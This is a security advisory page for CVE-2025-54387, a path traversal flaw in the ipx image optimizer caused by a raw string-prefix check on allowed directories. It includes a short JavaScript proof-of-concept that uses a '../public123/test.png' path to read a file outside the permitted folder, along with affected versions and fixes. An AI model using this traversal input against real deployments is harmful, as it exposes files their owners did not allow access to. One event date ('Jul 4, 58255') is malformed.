CVE-2025-54387: IPX is Vulnerable to Path Traversal via Prefix Matching Bypass

Published Aug 4, 2025
·
Updated

Summary

The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.

PoC

- setup mkdir ~/public123 move a png file under ~/public123 with name test.png cd npm i ipx

- main.js js import { createIPX, ipxFSStorage } from "ipx";

const ipx = createIPX({ storage: ipxFSStorage({ dir: "./public" }), });

(async () => { { const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder const { data, format } = await source.process(); console.log(format) // print image data } { try { const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same const { data, format } = await source.process(); console.log(data) } catch (err) { console.log(err.message) // Forbidden path: }

}

})()

- node main.js png Forbidden path: /../publi123/test.png

Impact Path Traversal

Possible Fix

Check if the dir ends with / (path separator) and if not, add before calling startsWith

Other sources

IPX is an image optimizer powered by sharp and svgo. In versions 1.3.1 and below, 2.0.0-0 through 2.1.0, and 3.0.0 through 3.1.0, the approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison. This is fixed in versions 1.3.2, 2.1.1 and 3.1.1.

MITRE

Affected Software

6 affected componentsFixes available
npm/ipx>=3.0.0<3.1.1
3.1.1
npm/ipx>=2.0.0-0<2.1.1
2.1.1
npm/ipx<1.3.2
1.3.2
unjs Ipx Node.js<1.3.2
unjs Ipx Node.js>=2.0.0<2.1.1
unjs Ipx Node.js>=3.0.0<3.1.1

Event History

Aug 4, 2025
Advisory Published
via GitHub·02:48 PM
Data Sourced
via GitHub·02:48 PM
DescriptionWeaknessAffected Software
Aug 5, 2025
CVE Published
via MITRE·12:10 AM
Data Sourced
via MITRE·12:10 AM
DescriptionWeakness
Data Sourced
via NVD·01:15 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·01:15 AM
RemedyAffected Software
Jul 4, 58255
Event
via NVD·08:11 AM

Frequently Asked Questions

1

What is the severity of CVE-2025-54387?

CVE-2025-54387 is considered a moderate severity vulnerability due to its potential for path prefix bypass in directory checks.

2

How do I fix CVE-2025-54387?

To address CVE-2025-54387, update the ipx package to version 3.1.1, 2.1.1, or 1.3.2.

3

What are the affected versions in CVE-2025-54387?

The affected versions for CVE-2025-54387 include ipx versions prior to 3.1.1, 2.1.1, and 1.3.2.

4

What is the nature of the vulnerability in CVE-2025-54387?

CVE-2025-54387 involves a path prefix bypass due to insufficient checks for allowed directory paths that do not end with a separator.

5

Who should be concerned about CVE-2025-54387?

Developers using the ipx package in their applications should be concerned about CVE-2025-54387 and apply the necessary updates.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203